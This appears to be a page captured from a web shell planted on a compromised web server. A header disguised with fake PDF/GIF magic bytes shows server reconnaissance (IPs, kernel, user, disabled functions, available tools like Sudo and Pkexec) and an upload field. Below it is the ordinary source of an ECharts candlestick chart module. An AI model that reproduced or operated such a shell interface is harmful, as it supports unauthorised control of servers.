%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.30 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/echarts/src/chart/candlestick/ |
Upload File : |
define(function(require) { 'use strict'; var zrUtil = require('zrender/core/util'); var ChartView = require('../../view/Chart'); var graphic = require('../../util/graphic'); var whiskerBoxCommon = require('../helper/whiskerBoxCommon'); var CandlestickView = ChartView.extend({ type: 'candlestick', getStyleUpdater: function () { return updateStyle; } }); zrUtil.mixin(CandlestickView, whiskerBoxCommon.viewMixin, true); // Update common properties var normalStyleAccessPath = ['itemStyle', 'normal']; var emphasisStyleAccessPath = ['itemStyle', 'emphasis']; function updateStyle(itemGroup, data, idx) { var itemModel = data.getItemModel(idx); var normalItemStyleModel = itemModel.getModel(normalStyleAccessPath); var color = data.getItemVisual(idx, 'color'); var borderColor = data.getItemVisual(idx, 'borderColor'); // Color must be excluded. // Because symbol provide setColor individually to set fill and stroke var itemStyle = normalItemStyleModel.getItemStyle( ['color', 'color0', 'borderColor', 'borderColor0'] ); var whiskerEl = itemGroup.childAt(itemGroup.whiskerIndex); whiskerEl.useStyle(itemStyle); whiskerEl.style.stroke = borderColor; var bodyEl = itemGroup.childAt(itemGroup.bodyIndex); bodyEl.useStyle(itemStyle); bodyEl.style.fill = color; bodyEl.style.stroke = borderColor; var hoverStyle = itemModel.getModel(emphasisStyleAccessPath).getItemStyle(); graphic.setHoverStyle(itemGroup, hoverStyle); } return CandlestickView; });